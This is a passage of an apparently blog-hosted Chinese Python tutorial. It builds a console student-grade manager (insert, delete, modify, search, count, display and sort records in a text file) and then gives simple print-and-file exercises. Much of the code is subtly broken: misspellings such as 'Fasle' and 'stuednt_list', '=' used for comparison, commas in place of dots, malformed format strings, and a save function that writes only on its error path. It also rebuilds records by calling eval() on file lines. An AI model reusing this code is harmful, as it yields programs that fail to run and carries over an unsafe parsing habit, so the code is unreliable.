class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#(1)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">insert</span>():</span></span><br><span class="line">    student_list = []</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="built_in">id</span> = <span class="built_in">input</span>(<span class="string">&#x27;请输入ID（如1001）：&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> <span class="built_in">id</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        name = <span class="built_in">input</span>(<span class="string">&#x27;请输入姓名：&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> name:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            English = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入英语成绩：&#x27;</span>))</span><br><span class="line">            Python = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入Python成绩：&#x27;</span>))</span><br><span class="line">            Java = <span class="built_in">int</span>(<span class="built_in">input</span>(<span class="string">&#x27;请输入Java成绩&#x27;</span>))</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            print(<span class="string">&#x27;输入无效，不是整数类型，请重新输入。&#x27;</span>)</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="comment">#将录入的学生信息保存到字典中</span></span><br><span class="line">        student = &#123;<span class="string">&#x27;id&#x27;</span>:<span class="built_in">id</span>,<span class="string">&#x27;name&#x27;</span>:name,<span class="string">&#x27;English&#x27;</span>:English,<span class="string">&#x27;Python&#x27;</span>:Python,<span class="string">&#x27;Java&#x27;</span>:Java&#125;</span><br><span class="line">        <span class="comment">#将学生信息添加到列表中</span></span><br><span class="line">        student_list.append(student)</span><br><span class="line">        answer = <span class="built_in">input</span>(<span class="string">&#x27;是否继续添加？y/n \n&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> answer == <span class="string">&#x27;y&#x27;</span>:</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="comment">#调用save()函数</span></span><br><span class="line">    save(student_list)</span><br><span class="line">    print(<span class="string">&#x27;学生信息录入完毕！&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">save</span>(<span class="params">lst</span>):</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        stu_txt = <span class="built_in">open</span>(filename,<span class="string">&#x27;a&#x27;</span>,encoding = <span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        stu_txt = <span class="built_in">open</span>(filename,<span class="string">&#x27;w&#x27;</span>,encoding = <span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">        <span class="keyword">for</span> item <span class="keyword">in</span> lst:</span><br><span class="line">            stu_txt.write(<span class="built_in">str</span>(item) + <span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">        stu_txt.close()</span><br></pre></td></tr></table></figure><h3 id="2删除学生信息"><a class="markdownIt-Anchor" href="#2删除学生信息">#</a> （2）删除学生信息</h3><ul><li>** 实现删除学生信息功能：** 从控制台录入学生 ID，到磁盘文件中找到对应的学生信息，并将其删除。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#(2)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span>():</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        student_id = <span class="built_in">input</span>(<span class="string">&#x27;请输入要删除的学生的ID：&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> student_id != <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">            <span class="keyword">if</span> os.path.exists(filename):</span><br><span class="line">                <span class="keyword">with</span> <span class="built_in">open</span>(filename,<span class="string">&#x27;r&#x27;</span>,encoding = <span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> file:</span><br><span class="line">                    student_old = file.readlines()</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                student_old =[]</span><br><span class="line">            flag = Fasle<span class="comment">#标记是否删除</span></span><br><span class="line">            <span class="keyword">if</span> student_old:</span><br><span class="line">                <span class="keyword">with</span> <span class="built_in">open</span>(filename,<span class="string">&#x27;w&#x27;</span>,encoding = <span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> wfile:</span><br><span class="line">                    d=&#123;&#125;</span><br><span class="line">                    <span class="keyword">for</span> item <span class="keyword">in</span> student_old:</span><br><span class="line">                        d = <span class="built_in">dict</span>(<span class="built_in">eval</span>(item))<span class="comment">#将字符串转成字典</span></span><br><span class="line">                        <span class="keyword">if</span> d[<span class="string">&#x27;id&#x27;</span>] != student_id:</span><br><span class="line">                            wfile.write(<span class="built_in">str</span>(d) + <span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">                        <span class="keyword">else</span>:</span><br><span class="line">                            flag = <span class="literal">True</span></span><br><span class="line">                    <span class="keyword">if</span> flag:</span><br><span class="line">                        print(<span class="string">f&#x27;id为<span class="subst">&#123;student_id&#125;</span>的学生信息已被删除&#x27;</span>)</span><br><span class="line">                    <span class="keyword">else</span>:</span><br><span class="line">                        print(<span class="string">f&#x27;没有找到ID为<span class="subst">&#123;student_id&#125;</span>的学生信息&#x27;</span>)</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    print(<span class="string">&#x27;无学生信息&#x27;</span>)</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">                show()<span class="comment">#删除之后要重新显示所有学生信息</span></span><br><span class="line">                answer = <span class="built_in">input</span>(<span class="string">&#x27;是否继续删除？y/n \n&#x27;</span>)</span><br><span class="line">                <span class="keyword">if</span> answer == <span class="string">&#x27;y&#x27;</span>:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="keyword">break</span></span><br></pre></td></tr></table></figure><h3 id="3修改学生信息"><a class="markdownIt-Anchor" href="#3修改学生信息">#</a> （3）修改学生信息</h3><ul><li>** 实现修改学生信息功能：** 从控制台录入学生 ID，到磁盘文件中找到对应的学生信息，将其进行修改。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">modify</span>():</span></span><br><span class="line">    show()</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(filename):</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(filename,<span class="string">&#x27;r&#x27;</span>,encoding = <span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> rfile:</span><br><span class="line">            student_old = rfile.readlines()</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    student_id = <span class="built_in">input</span>(<span class="string">&#x27;请输入要修改的学生的ID：\n&#x27;</span>)</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(filename,<span class="string">&#x27;w&#x27;</span>,encoding = <span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> wfile:</span><br><span class="line">        <span class="keyword">for</span> item <span class="keyword">in</span> student_old:</span><br><span class="line">            d = <span class="built_in">dict</span>(<span class="built_in">eval</span>(item))</span><br><span class="line">            <span class="keyword">if</span> d[<span class="string">&#x27;id&#x27;</span>] == student_id:</span><br><span class="line">                print(<span class="string">&#x27;找到学生信息，可以修改他（她）的相关信息了！&#x27;</span>)</span><br><span class="line">                <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">                    <span class="keyword">try</span>:</span><br><span class="line">                        d[<span class="string">&#x27;name&#x27;</span>] = <span class="built_in">input</span>(<span class="string">&#x27;请输入姓名：\n&#x27;</span>)</span><br><span class="line">                        d[<span class="string">&#x27;English&#x27;</span>] = <span class="built_in">input</span>(<span class="string">&#x27;请输入英语成绩：\n&#x27;</span>)</span><br><span class="line">                        d[<span class="string">&#x27;Python&#x27;</span>] = <span class="built_in">input</span>(<span class="string">&#x27;请输入Python成绩：\n&#x27;</span>)</span><br><span class="line">                        d[<span class="string">&#x27;Java&#x27;</span>] = <span class="built_in">input</span>(<span class="string">&#x27;请输入Java成绩：\n&#x27;</span>)</span><br><span class="line">                    <span class="keyword">except</span>:</span><br><span class="line">                        print(<span class="string">&#x27;您的输入有误，请重新输入！&#x27;</span>)</span><br><span class="line">                    <span class="keyword">else</span>:</span><br><span class="line">                        <span class="keyword">break</span></span><br><span class="line">                wfile.write(<span class="built_in">str</span>(d) + <span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">                print(<span class="string">&#x27;修改成功！&#x27;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                wfile.write(<span class="built_in">str</span>(d) + <span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">        answer = <span class="built_in">input</span>(<span class="string">&#x27;是否继续修改其他学生信息？y/n \n&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> answer == <span class="string">&#x27;y&#x27;</span>:</span><br><span class="line">            modify()</span><br></pre></td></tr></table></figure><h3 id="4查找学生信息"><a class="markdownIt-Anchor" href="#4查找学生信息">#</a> （4）查找学生信息</h3><ul><li>** 实现查询学生信息功能：** 从控制台录入学生 ID 或姓名，到磁盘文件中找到对应的学生信息。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">search</span>():</span></span><br><span class="line">    student_query = []</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="built_in">id</span> = <span class="string">&#x27;&#x27;</span></span><br><span class="line">        name = <span class="string">&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">if</span> os.path.exists(filename):</span><br><span class="line">            mode = <span class="built_in">input</span>(<span class="string">&#x27;按ID查找请输入1，按姓名查找请输入2：\n&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> mode = <span class="string">&#x27;1&#x27;</span>:</span><br><span class="line">                <span class="built_in">id</span> = <span class="built_in">input</span>(<span class="string">&#x27;请输入学生ID:\n&#x27;</span>)</span><br><span class="line">            <span class="keyword">elif</span> mode = <span class="string">&#x27;2&#x27;</span>:</span><br><span class="line">                name = <span class="built_in">input</span>(<span class="string">&#x27;请输入学生姓名:\n&#x27;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                print(<span class="string">&#x27;您的输入有误，请重新输入：\n&#x27;</span>)</span><br><span class="line">                search()</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(filename,<span class="string">&#x27;r&#x27;</span>,encoding = <span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span>  rfile:</span><br><span class="line">                student = rfile.readlines()</span><br><span class="line">                <span class="keyword">for</span> item <span class="keyword">in</span> student:</span><br><span class="line">                    d = <span class="built_in">dict</span>(<span class="built_in">eval</span>(item))</span><br><span class="line">                    <span class="keyword">if</span> <span class="built_in">id</span> != <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">                        <span class="keyword">if</span> d[<span class="string">&#x27;id&#x27;</span>] == <span class="built_in">id</span>:</span><br><span class="line">                            student_query.append(d)</span><br><span class="line">                    <span class="keyword">elif</span> name != <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">                        <span class="keyword">if</span> d[<span class="string">&#x27;name&#x27;</span>] == name:</span><br><span class="line">                            student_query.append(d)</span><br><span class="line">             <span class="comment">#显示查询结果</span></span><br><span class="line">            show_student(student_query)</span><br><span class="line">            <span class="comment">#清空列表</span></span><br><span class="line">            student_query.clear()</span><br><span class="line">            answer = <span class="built_in">input</span>(<span class="string">&#x27;是否要继续查询？y/n \n&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> answer == <span class="string">&#x27;y&#x27;</span>:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            print(<span class="string">&#x27;暂未保存学生信息！&#x27;</span>)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show_student</span>(<span class="params">lst</span>):</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(lst) == <span class="number">0</span>:</span><br><span class="line">        print(<span class="string">&#x27;没有查询到学生信息，无数据显示！&#x27;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    <span class="comment">#定义标题的显示格式</span></span><br><span class="line">    format_title = <span class="string">&#x27;&#123;:^6 \t &#123;:^12&#125; \t &#123;:^8&#125; \t &#123;:^10&#125; \t &#123;:^10&#125; \t &#123;:^8&#125;&#125;&#x27;</span></span><br><span class="line">    print(format_title.<span class="built_in">format</span>(<span class="string">&#x27;ID&#x27;</span>,<span class="string">&#x27;姓名&#x27;</span>,<span class="string">&#x27;英语成绩&#x27;</span>,<span class="string">&#x27;Python成绩&#x27;</span>,<span class="string">&#x27;Java成绩&#x27;</span>,<span class="string">&#x27;总成绩&#x27;</span>))</span><br><span class="line">    <span class="comment">#定义内容的显示格式</span></span><br><span class="line">    format_data = <span class="string">&#x27;&#123;:^6 \t &#123;:^12&#125; \t &#123;:^8&#125; \t &#123;:^8&#125; \t &#123;:^8&#125; \t &#123;:^8&#125;&#125;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> item <span class="keyword">in</span> lst:</span><br><span class="line">        print(format_data.<span class="built_in">format</span>(item.get(<span class="string">&#x27;id&#x27;</span>)),item.get(<span class="string">&#x27;name&#x27;</span>),item.get(<span class="string">&#x27;English&#x27;</span>),item.get(<span class="string">&#x27;Python&#x27;</span>),item.get(<span class="string">&#x27;Java&#x27;</span>),<span class="built_in">int</span>(item.get(<span class="string">&#x27;English&#x27;</span>))+<span class="built_in">int</span>(item.get(<span class="string">&#x27;Python&#x27;</span>))+<span class="built_in">int</span>(item.get(<span class="string">&#x27;Java&#x27;</span>))  )</span><br></pre></td></tr></table></figure><h3 id="5统计学生总人数"><a class="markdownIt-Anchor" href="#5统计学生总人数">#</a> （5）统计学生总人数</h3><ul><li>** 实现统计学生总人数：** 统计学生信息文件中保存的学生信息个数。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">total</span>():</span></span><br><span class="line">    <span class="keyword">if</span> os.path.exists(filename):</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(filename.<span class="string">&#x27;r&#x27;</span>,encoding = <span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> rfile:</span><br><span class="line">            students = rfile.readlines()</span><br><span class="line">            <span class="keyword">if</span> students:</span><br><span class="line">                print(<span class="string">f&#x27;一共有<span class="subst">&#123;<span class="built_in">len</span>(students)&#125;</span>名学生。&#x27;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">&#x27;还没有录入学生信息。&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="6显示所有学生信息"><a class="markdownIt-Anchor" href="#6显示所有学生信息">#</a> （6）显示所有学生信息</h3><ul><li>** 实现显示所有学生信息功能：** 将学生信息文件中保存的全部学生信息获取并显示。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>():</span></span><br><span class="line">    student_lst =[]</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(filename):<span class="comment">#判断文件是否存在</span></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(filename,<span class="string">&#x27;r&#x27;</span>,encoding =<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> rfile:<span class="comment">#打开文件</span></span><br><span class="line">            students = rfile.readlines()<span class="comment">#读取全部数据</span></span><br><span class="line">            <span class="keyword">for</span> item <span class="keyword">in</span> students:</span><br><span class="line">                student_lst,append(<span class="built_in">eval</span>(item))</span><br><span class="line">            <span class="keyword">if</span> student_lst:</span><br><span class="line">                show_student(student_lst)<span class="comment">#调用显示学生信息的方法</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">&#x27;暂未保存数据&#x27;</span>)  </span><br></pre></td></tr></table></figure><h3 id="7排序学生成绩"><a class="markdownIt-Anchor" href="#7排序学生成绩">#</a> （7）排序学生成绩</h3><ul><li>** 实现按学生成绩排序功能：** 主要对学生信息按英语成绩，Python 成绩，Java 成绩，总成绩进行升序或者降序排序。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">sort</span>():</span></span><br><span class="line">    show()</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(filename):</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(filename,<span class="string">&#x27;r&#x27;</span>,encoding =<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> rfile:</span><br><span class="line">            student_list = rfile.readlines()</span><br><span class="line">        student_new = []</span><br><span class="line">        <span class="keyword">for</span> item <span class="keyword">in</span> stuednt_list:</span><br><span class="line">            d = <span class="built_in">dict</span>(<span class="built_in">eval</span>(item))</span><br><span class="line">            student_new,append(d)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    asc_or_desc = <span class="built_in">input</span>(<span class="string">&#x27;请选择 \n (0.升序；\n (1.降序&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> asc_or_desc == <span class="string">&#x27;0&#x27;</span>:</span><br><span class="line">        asc_or_desc_bool = <span class="literal">False</span></span><br><span class="line">    <span class="keyword">elif</span> asc_or_desc == <span class="string">&#x27;1&#x27;</span>:</span><br><span class="line">        asc_or_desc_bool = <span class="literal">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">&#x27;您的输入有误，请重新输入。&#x27;</span>)</span><br><span class="line">        sort()</span><br><span class="line">    mode = <span class="built_in">input</span>(<span class="string">&#x27;请选择排序方式 \n (1.按英语成绩排序; \n (2.按Python成绩排序; \n (3.按Java语言成绩排序; \n (0.按总成绩排序.&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> mode == <span class="string">&#x27;1&#x27;</span>:</span><br><span class="line">        student_new.sort(key = <span class="keyword">lambda</span> x:<span class="built_in">int</span>(x[<span class="string">&#x27;English&#x27;</span>]),reverse = asc_or_desc_bool)</span><br><span class="line">    <span class="keyword">elif</span> mode == <span class="string">&#x27;2&#x27;</span>:</span><br><span class="line">        student_new.sort(key = <span class="keyword">lambda</span> x:<span class="built_in">int</span>(x[<span class="string">&#x27;Python&#x27;</span>]),reverse = asc_or_desc_bool)</span><br><span class="line">    <span class="keyword">elif</span> mode == <span class="string">&#x27;3&#x27;</span>:</span><br><span class="line">        student_new.sort(key = <span class="keyword">lambda</span> x:<span class="built_in">int</span>(x[<span class="string">&#x27;Java&#x27;</span>]),reverse = asc_or_desc_bool)</span><br><span class="line">    <span class="keyword">elif</span> mode == <span class="string">&#x27;0&#x27;</span>:</span><br><span class="line">        student_new.sort(key = <span class="keyword">lambda</span> x: <span class="built_in">int</span>(x[<span class="string">&#x27;English&#x27;</span>]) + <span class="built_in">int</span>(x[<span class="string">&#x27;Python&#x27;</span>]) + <span class="built_in">int</span>(x[<span class="string">&#x27;Java&#x27;</span>]),reverse = asc_or_desc_bool)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(<span class="string">&#x27;您的输入有误，请重新输入！&#x27;</span>)</span><br><span class="line">        sort()</span><br><span class="line">    show_student(student_new)<span class="comment">#显示排序结果</span></span><br></pre></td></tr></table></figure><h2 id="6-项目打包"><a class="markdownIt-Anchor" href="#6-项目打包">#</a> 6. 项目打包</h2><ul><li><strong>安装第三方模块：</strong>（1）在线安装方式pip install PyInstaller；（2）执行打包操作</li></ul><h1 id="十八-案例实操"><a class="markdownIt-Anchor" href="#十八-案例实操">#</a> 十八、案例实操</h1><h2 id="1-案例一"><a class="markdownIt-Anchor" href="#1-案例一">#</a> 1. 案例一</h2><h3 id="1向文件输出奋斗成就更好的你"><a class="markdownIt-Anchor" href="#1向文件输出奋斗成就更好的你">#</a> （1）向文件输出 “奋斗成就更好的你”</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Task1 使用print方式进行输出</span></span><br><span class="line">fp = <span class="built_in">open</span>(<span class="string">&#x27;F:/test.txt&#x27;</span>,<span class="string">&#x27;w&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;奋斗成就更好的你&#x27;</span>,file = fp)</span><br><span class="line">fp.close()</span><br><span class="line"></span><br><span class="line"><span class="comment"># Task1 使用文件读写操作</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;F:/test1.txt&#x27;</span>,<span class="string">&#x27;w&#x27;</span>) <span class="keyword">as</span> file:</span><br><span class="line">    file.write(<span class="string">&#x27;奋斗成就更好的你&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="2输出北京的天气预报"><a class="markdownIt-Anchor" href="#2输出北京的天气预报">#</a> （2）输出北京的天气预报</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">&#x27;星期日&#x27;</span>,<span class="string">&#x27;今天&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;--------------------&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;08时&#x27;</span>,<span class="string">&#x27;11时&#x27;</span>,<span class="string">&#x27;14时&#x27;</span>,<span class="string">&#x27;17时&#x27;</span>,<span class="string">&#x27;20时&#x27;</span>,<span class="string">&#x27;23时&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;0℃ &#x27;</span>,<span class="string">&#x27;6℃ &#x27;</span>,<span class="string">&#x27;10℃&#x27;</span>,<span class="string">&#x27;4℃ &#x27;</span>,<span class="string">&#x27;1℃ &#x27;</span>,<span class="string">&#x27;0℃ &#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;--------------------&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;明 天 &#x27;</span>,<span class="string">&#x27;2/23&#x27;</span>,<span class="string">&#x27;2/11℃&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;星期二&#x27;</span>,<span class="string">&#x27;2/24&#x27;</span>,<span class="string">&#x27;0/9℃&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;星期三&#x27;</span>,<span class="string">&#x27;2/25&#x27;</span>,<span class="string">&#x27;-2/8℃&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;星期四&#x27;</span>,<span class="string">&#x27;2/26&#x27;</span>,<span class="string">&#x27;-3/6℃&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;星期五&#x27;</span>,<span class="string">&#x27;2/27&#x27;</span>,<span class="string">&#x27;-2/7℃&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;星期六&#x27;</span>,<span class="string">&#x27;2/28&#x27;</span>,<span class="string">&#x27;-1/11℃&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="3机票购买界面"><a class="markdownIt-Anchor" href="#3机票购买界面">#</a> （3）机票购买界面</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">print(<span class="string">&#x27;✈国内 \t ♜国际.港澳台 \t ↘发现低价&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;------------------------&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;航班类型：⊙单程⊙往返⊙多程（含缺口城）&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;出发城市：北京&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;到达城市：长春&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;出发日期：2020-3-8&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;返回日期：yyyy-MM-dd&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;------------------------&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;\t\t ☐带儿童  ☐带婴儿&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;\t\t\t__________&#x27;</span>)</span><br><span class="line">print(<span class="string">&#x27;\t\t\t___搜索___&#x27;</span>)</span><br></pre></td></tr></table></figure><h3 id="4北京地铁1号线运行图"><a class="markdownIt-Anchor" href="#4北京地铁1号线运行图">#</a> （4）北京地铁 1 号线运行图</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span 